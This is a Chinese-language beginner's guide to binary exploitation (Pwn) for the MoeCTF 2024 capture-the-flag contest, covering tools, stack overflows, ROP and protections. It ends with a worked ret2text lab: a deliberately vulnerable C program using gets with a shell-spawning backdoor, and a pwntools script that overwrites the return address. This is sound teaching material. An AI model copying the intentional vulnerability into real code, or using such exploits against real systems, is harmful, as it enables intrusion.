MoeCTF 2024 - Pwn 入门指北

欢迎

欢迎来到 MoeCTF 2024 Pwn。🥳

Pwn（读作“砰”，拟声词）一词起源于网络游戏社区，原本表示成功入侵了计算机系统，在 CTF 中则是一种题目方向：通过构造恶意输入达到泄漏信息甚至**劫持几乎整个系统**（**getshell**）的目的。其实在 CTF 比赛发展初期，赛题通常只与二进制安全相关，因此 Pwn 是 CTF 领域最原始的方向。在这里，你能深入计算机系统最底层，感受纯粹的计算机科学。🤤

$$Pwn = \text{逆向工程} + \text{漏洞挖掘} + \text{漏洞利用}$$

很高兴能和你一起学习。在这篇文档中，我将尽量简明地介绍 Pwn 是什么、怎么学，希望能有所帮助。本人水平有限，如有纰漏望指正。👀

程序设计基础

正在阅读这篇文档的你很可能没有任何编程基础（真的会有人听信息技术课吗...），这很正常。你也许曾了解过 Visual Basic、JavaScript... 但是对于 Pwn 学习初期，我们一般面对 **Linux 环境下的 C 语言**。

> **Note**
>
> 在正式开始前，我不得不插入这段。你是否常用 PC，还是只用过手机平板等移动设备？如果你是连从浏览器安装软件、解压缩等基本操作都不熟悉的“电脑小白”，我建议先暂停，利用互联网资源熟悉计算机操作。
>
> 最重要的是善用搜索引擎，推荐使用微软必应或谷歌。

C

你需要入门学习 C 语言，这里推荐阅读《C Primer Plus》，和非教程工具网站 C 参考手册（中文）、man7.org（英文）。强烈建议在 Linux 环境中编译运行 C 语言（见下文“环境搭建”）。

我们目前不需要完整系统地学习 C 语言（不代表未来不需要）。你需要关注 C 语言中的基础数据类型、流程控制和标准库函数功能，例如 `scanf`、`printf`、`puts`、`strcmp`、`system` 等。**不要**深陷语言特性和算法中。

C 语言能很好地和汇编语言（见下文“编译与汇编”）对应，学习两者时应相互结合，理解等效的 C 语句和汇编语句。

Python

Python 语言极容易上手，网上教程多如牛毛。你至少需要学会基本语法与数据类型、列表（`list`）字典（`dict`）数据结构用法、函数定义及调用。建议使用 Visual Studio Code 编辑器编写 Python 脚本。（少读书多实践）

> **Tip**
>
> 如果你对计算机科学很感兴趣想系统学习并且英语不错，我强烈建议你看 CS61A 系列课程及其配套电子书学习 Python。

环境搭建

GNU/Linux

Linux 是一种自由和开放源代码的类 Unix 操作系统，如今通常用于服务器。由于初期的 Pwn 全都在 Linux 特别是 Ubuntu（一个 Linux 发行版）环境中，如果连 Linux 环境都没有，那只能 Pwn 空气了（笑）。为了至少能运行 Pwn 题的附件，我们当然需要一个 Linux 环境。推荐安装一个 Ubuntu 虚拟机或使用 docker（见下文），网上教程太多，这里不赘述（善用搜索引擎）。

Pwn

安装好 Linux 环境后，还需继续搭建 Pwn 环境，这里有一篇十分详尽的文章，不过内容比较硬核。😰

- CTF Wiki - Pwn Environment（中文）

如果无法完全看懂也没关系，其中有很多在 Pwn 学习后期才会用到的东西。目前你至少需要这三样：

- Linux Python 环境 + `pwntools`

- 静态逆向分析工具（如 IDA Free）
- Linux 调试器（如 GDB + `pwndbg`）

你还需要安装更多工具：`checksec`、`binutils`、`patchelf`、`LibcSearcher`、`glibc-all-in-one`、`ropper`、`one_gadget`、`seccomp-tools` 等，其中有很多你目前用不到，但前两个必须先安装好（见上文 Wiki 文章）。

一个标准的 Pwn 流程是：

1. 用 `checksec` 检查保护机制
2. 用 `patchelf` 替换 libc、ld 等（可选）
3. 用 IDA 反汇编反编译挖掘漏洞
4. 用 GDB + pwndbg 调试执行确认漏洞
5. 用 Python + `pwntools` 编写利用脚本

Linux 基础

既然 Pwn 一般在 Linux 中操作，那么学习一些 Linux shell 操作自然必要。你至少应该明白 `cd`、`ls` 、`chmod`、`file`、`cat`、`grep`、`strings`、`man` 等基础命令和管道与重定向的概念。在这期间，你也将学到 Linux 用户与用户组及其权限管理机制。推荐这个短文（选读）：

- 命令行的艺术

对于 Pwn，一个很重要且必要的命令行工具是 Netcat（`nc` 命令）。Netcat 是一个强大的多功能网络工具，目前你只需要知道一种用法：`nc <ip> [端口]`。

> **Note**
>
> 在计算机世界中，各种命令行文档里的尖括号“<参数名>”代表必需参数，方括号“[参数名]”代表可选参数，实际使用时不输入。在某些版本的 Netcat 中上述语法应为 `nc <ip>[:端口]`。

另外你应该学习 git 的基本使用方法，主要是 `git clone <URL>`。用于下载各种工具。

还需要了解 Linux 常见的系统调用（syscall）——`open`、`read`、`write`、`mmap`、`execve` 等和文件描述符（file descriptor / fd）的概念：`stdin` - 0、`stdout` - 1 ...。你需要知道 Linux 程序运行时发生了什么（如动态链接过程，`got`、`plt` 的概念，调用栈）。

很乱对吧？若想系统地详细了解，推荐这些书：

- 《鸟哥的 Linux 私房菜》（文中 CentOS7 已停止支持，勿安装）
- 《Unix 环境高级编程》

Linux 一切皆文件！希望你能从中感受到 Unix 哲学的魅力。😃 之后我强烈建议你在空闲时间（MoeCTF 之后）看看这系列视频。

- 计算机教育中缺失的一课（镜像）

编译与汇编

当你读到这里时，你或许已经能用 C 语言编写并运行简单程序（最好在 Linux 中操作），然而对于 Pwn 来说，我们必须要熟悉程序编译过程和基本的汇编语句。你需要知道 ELF 文件格式（初期仅了解）、预处理 -> 编译 -> 汇编 -> 链接（静态 / 动态）过程、Linux 进程虚拟内存空间（栈、BSS 段、数据段、代码段等）。理解调用栈增长方向与数据存储增长方向**相反**是 Pwn 前期学习的一大重点。

对于汇编语句，Pwn 程序一般编译至 x86 CPU 指令集，你需要学习 x86 汇编基础。至少应能看懂 `mov`、`lea`、`add`、`sub`、`xor`、`call`、`ret`、`jmp` 及其变种、`push`、`pop`、`nop`。除了汇编语句，你需要了解寄存器，能够区分通用寄存器和有特殊用途的寄存器（`sp`、`ip`...）。并且，你需要知道大端存储（big-endian）和小端存储（little-endian）的概念——计算机内存一般使用小端存储，数字在内存中的高低位与人类阅读的高低位相反。

在做 Pwn 题时，有时你需要先在适当位置填入 shellcode（用于获取 shell 的汇编码）再劫持控制流（见下文）至此处以执行。你需要知道计算机在汇编层面是如何调用函数的。具体而言，你需要知道并牢记 amd64 System V ABI 函数调用规约：调用函数时的部分参数通过寄存器（`rdi`、`rsi`、`rdx`、`rcx`、`r8`、`r9`）传递其余通过栈传递，32 位系统直接通过栈传递参数（从右至左入栈）；函数返回值也由寄存器（`ax`）传递。除了函数调用，你还需要知道 syscall 的系统调用号与参数的传递方式（`ax`...），这与函数调用类似。（善用搜索引擎）

学习路线

终于正式开始 Pwn 了。😇 学习 Pwn 一定不能一直读书，这并不能让你“基础扎实”，网络安全是十分重**实践**的领域。我的经验是多做题，多看其他师傅（通称）的 Writeup（赛后复盘）。另外，尽量看在线资源，书籍信息一般具有滞后性。

IDA 和 gdb

大多数 Pwn 题的附件都只会提供本题在线服务（由 nc 转发）的可执行文件。我们至少要先用 `objdump` 等命令将其内容解释为人类可读信息。更好的办法是使用专业的逆向分析软件，例如开源软件 Radare2 或者商业软件 IDA（推荐）。对于 Linux 我们还必备 GNU 调试器 `gdb`，它能追踪程序运行的诸多细节。Pwn 的逆向相对简单，一般来说只要将可执行文件拖入 IDA，直接以默认配置加载，按下 F5 即可轻松阅读程序逻辑。学习这些工具时重点关注快捷键，这不是为了做题更快，而是为了不因操作工具扰乱思绪。对于 GDB，你至少应该知道如何运行、暂停、继续程序（`r`、`ctrl+C`、`c`），下断点（`b`）、观察点（`wa`），查看寄存器、反汇编码、栈、映射表信息，读取对应地址内容（`p`、`x`、`tele`）。GDB 的插件 `pwndbg` 提供了更多实用命令（`vmmap`、`stack`、`search`、`canary` ...）。请一边做题一边领悟它们的作用。注意理解两位十六进制数是一个字节。

Pwntools

还记得之前好不容易配置好的 `pwntools` 吗？它能够接收程序输出并向程序输入一些正常打字无法输入的字符，你应尽量掌握。当你做了一些 pwn 题后，甚至应该写一个属于自己的 `pwntools` 模板。学习 `pwntools` 不需要直接读文档，应该用到什么学什么。多读其他师傅的 Exp（漏洞利用脚本）可以发现很多方便的 `pwntools` 用法。你至少需要知道如何接收程序输出，如何向程序输入，特别是无法用键盘正常输入的“二进制”信息。

> **Tip**
>
> 虽然 `recv()` 和 `send()` 很方便，但是我强烈建议使用 `recvuntil()` 和 `sendafter()`，以防止各种本地和远程不符的情况。

常见漏洞和利用方法

以下列举出一些入门常见的漏洞和利用方法，限于篇幅只能一句话概括且不够准确严谨。你应该通过 CTF Wiki 等资料（见下文“推荐资料”）具体学习，这里仅提供学习方向。（“⭐”数代表针对入门学习的重要性）

普适漏洞

- **整数溢出** —— 数学世界整数有无穷多，但由于内存限制，计算机中补码表示的“整数”有上下限。通过输入超大数字溢出或者利用有符号整数（负数）强转为无符号整数可以构造超大数字，从而绕过检查或越界写入。⭐⭐⭐
- **栈溢出** —— 最经典的漏洞，通过越界写入修改函数返回地址或栈指针从而实现劫持控制流和栈转移（改变栈基址）。⭐⭐⭐⭐

- **字符串 \0 结尾** —— C 风格字符串以零字节（“二进制”的 \0 而非 ASCII 数字 0）结尾。如果破坏或中途输入这一标记则可泄漏信息或绕过检查（如绕过 `strcmp`）。这是很多漏洞的“万恶之源”。⭐⭐⭐
- **返回导向编程（ROP）** —— 这是 Pwn 前期学习**重点**。其中包含 `ret2text`、`ret2libc`、`ret2syscall`、`ret2system`、`ret2shellcode`、`ret2csu`、`SROP` 等，这也是栈溢出的主要目的。进阶：通过 `ropper` 等工具寻找程序中 `gadgets`（ROP 片段，以 `ret` 结尾）结合栈溢出构造调用链甚至能执行几乎任意行为（通常 `open`、`read`、`write`）。⭐⭐⭐⭐⭐
- **竞争条件** —— 程序并行访问共享资源时，由于各线/进程执行顺序不定，有可能绕过检查或破坏数据。⭐

Linux 安全机制

- **NX（No eXecute）** —— 通过将栈内存权限设置为不可执行，使栈上机器码不可执行，从而无法简单地在栈上布置 shellcode。一般所有题目都会开启，可用栈转移或修改可执行位等方法绕过。⭐⭐⭐
- **Canary** —— 在栈上栈指针和返回地址前设置一个随机值（`canary`），通过比对函数返回前和执行前该值是否相等来检测栈溢出攻击。通过直接越界读泄漏、劫持 `scanf` 特殊输入或爆破等方法绕过。⭐⭐⭐⭐
- **ASLR / PIE** —— 通过随机化程序的内存布局（地址），使得攻击者难以预测程序的内存结构，从而增加攻击难度。设法泄漏基址或爆破等从而绕过。⭐⭐
- **RELRO** —— 通过将动态链接程序的全局偏移量表（GOT）在程序启动后设置为只读，防止通过修改其中数据结构进行攻击。⭐
- **Seccomp** —— 一种沙箱保护机制，可以限制程序能够使用的 syscall。⭐

GLibc 相关漏洞

- **fmt_str** —— 若 `printf` 等格式化字符串函数中“格式”（format）参数为用户输入，则可被利用，从而达到任意地址读写等目的。⭐⭐⭐
- **one_gadget** —— 将程序指针修改至 glibc 中的一些特殊位置（`one_gadgets`）同时满足少量条件即可直接 getshell。⭐
- Heap / _IO_FILE / ... —— Pwn 永无止境 ...

推荐资料

- 《深入理解计算机系统》—— CSAPP。个人认为是学习计算机不得不看的经典。
- CTF Wiki
- CTF-All-In-One
- 《CTF 权威指南（Pwn 篇）》
- CS 自学指南——计算机科学（Computer Science）自学指南。
- 《IDA Pro 权威指南》

做题

别忘了这里是 CTF！MoeCTF 题目设置由易到难知识覆盖面较广，而且面向基础。但是但是，刚开始做 Pwn 也许一道题就能做一天（也算是 Pwn 的乐趣所在吧😌），这很正常。如果你未能完全看懂本指北，也很正常（“学习路线”一节有不少“超纲”）。大胆尝试才是关键！直接开始 MoeCTF 2024 吧，如果你未来想要继续做题：

- 攻防世界
- Bugku
- pwn.college
- Pwnable
- CTFTime——全球 CTF 赛事时间表。

但希望你不要死磕 CTF Pwn，特别是别整天只和 glibc 对着干（干脆改名叫 glibc-crack 吧...）。

实例

接下来是一个简单的 `ret2text` 实例。

题目

环境：x86_64 GNU/Linux

```c
#include <stdio.h>
#include <stdlib.h>

void backdoor() { system("/bin/sh"); }

int main(void) {
  char name[0x10];
  puts("What's your name?");
  gets(name);
  printf("Hello, %s!\n", name);
  return 0;
}
```

通过以下命令进行编译（`$` 仅为提示符，实际不输入），强制启用 `char *gets(char *)` 并关闭一些保护机制。

```
$ gcc --ansi -no-pie -fno-stack-protector <file>
```

攻击

1. 用 `checksec` 检查保护机制

执行

```
$ checksec --file=<file>
```

，输出（部分略）：

```
RELRO           STACK CANARY      NX            PIE
Partial RELRO   No canary found   NX enabled    No PIE
```

。可以看到栈溢出保护（Stack Canary）和位置无关程序（PIE）保护已关闭。

2. 用 IDA 反汇编反编译挖掘漏洞

显然可得该程序使用一个不会检查输入与缓冲区长度的 `gets` 函数读入字符串，我们因此可以进行无限长**栈溢出**。同时我们看到 `backdoor` 函数会启用一个 shell，这正是我们想要的。由于没有启用 PIE，于是只需将控制流劫持到此处（静态地址）即可。记下 `backdoor` 地址。

3. 用 GDB + pwndbg 调试执行确认漏洞

执行（`pwndbg>` 仅为提示符，实际不输入）

```
$ gdb <file>
pwndbg> b gets
pwndbg> r
```

，观察 `[ STACK ]` 一栏，可以看到当前的程序调用栈（注意 GDB 中地址空间随机化默认不启用，但对于本题无影响）：

```
00:0000| rsp     0x7fffffffd4a8 —▸ 0x40118f (main+35) ◂— lea rax,
[rbp - 10h]
01:0008| rax rdi 0x7fffffffd4b0 ◂— 0x0
02:0010|-008     0x7fffffffd4b8 —▸ 0x7fffffffd5e8 —▸ 0x7fffffffda83
03:0018| rbp     0x7fffffffd4c0 —▸ 0x7fffffffd560 —▸ 0x7fffffffd5c0
◂— 0x0
04:0020|+008     0x7fffffffd4c8 —▸ 0x7ffff7da7e08
(__libc_start_call_main+120) ◂— mov edi, eax
...
```

- 0x00: 栈顶。`gets` 函数的返回地址。（不重要，无法控制）
- 0x08: `name` 前半。第 1 个参数（`rdi` 所指），即源码中 `name`。用户输入自此读入，此时仍有“垃圾”数据。
- 0x10: `name` 后半。此时仍有“垃圾”数据。
- 0x18: `__libc_start_call_main` 函数（`main` 的调用方）的调用栈帧基址（`rbp`）。
- 0x20: `main` 函数**返回地址**。

4. 用 Python + `pwntools` 编写利用脚本

编写 Python 脚本

```
from pwn import *                    # pwntools
io = process('<file>')               # 启动程序
backdoor_address = ...               # 刚才获得的 `backdoor` 地址
backdoor_address += 1                # 施法
payload =  cyclic(0x10)              # 填满 `name`
payload += cyclic(0x8)               # 填满 `rbp`
payload += p64(backdoor_address)     # 篡改返回地址
io.sendlineafter(b'?\n', payload) # 待输出至 `?\n` 后输入 payload
io.interactive()                     # 收获成果
```

。执行

```
$ python <file>
```

，成功 getshell。🎉

实际做题时你需要用 `io = connect('<IP>', <端口>)` 替换 `io = process('<file>')` 以攻击远程环境（相当于 `nc` 连接）。

> ⓘ **Note**
>
> **`backdoor_address += 1` 是个啥?**
>
> 你可以试着去掉这行再运行看看，程序运行时触发 SIGSEGV（段错误）。这是 Pwn 初学者必踩一次的坑。用 GDB 调试运行（pwntools `gdb` 模块能帮到你），程序在这个指令处崩溃:
>
> ```
> movaps xmmword ptr [rsp+0x50],xmm0
> ```
>
> 其实是 `movaps` 指令要求目标地址（此处为 `rsp+0x50`）16 字节对齐（尾数为 0）导致的。通过将劫持的地址 +1，跳过 `backdoor` 中的 `push rbp`（该指令机器码长度 1 字节）从而使 `rsp` 16 字节对齐。
>
> 类似的解决方案是在 ROP 调用链中插入一个空 gadget（仅 `ret`），使 `rsp` 16 字节对齐。

感谢

感谢你认真读到这里，感谢所有让 MoeCTF 2024 成为可能的人。😉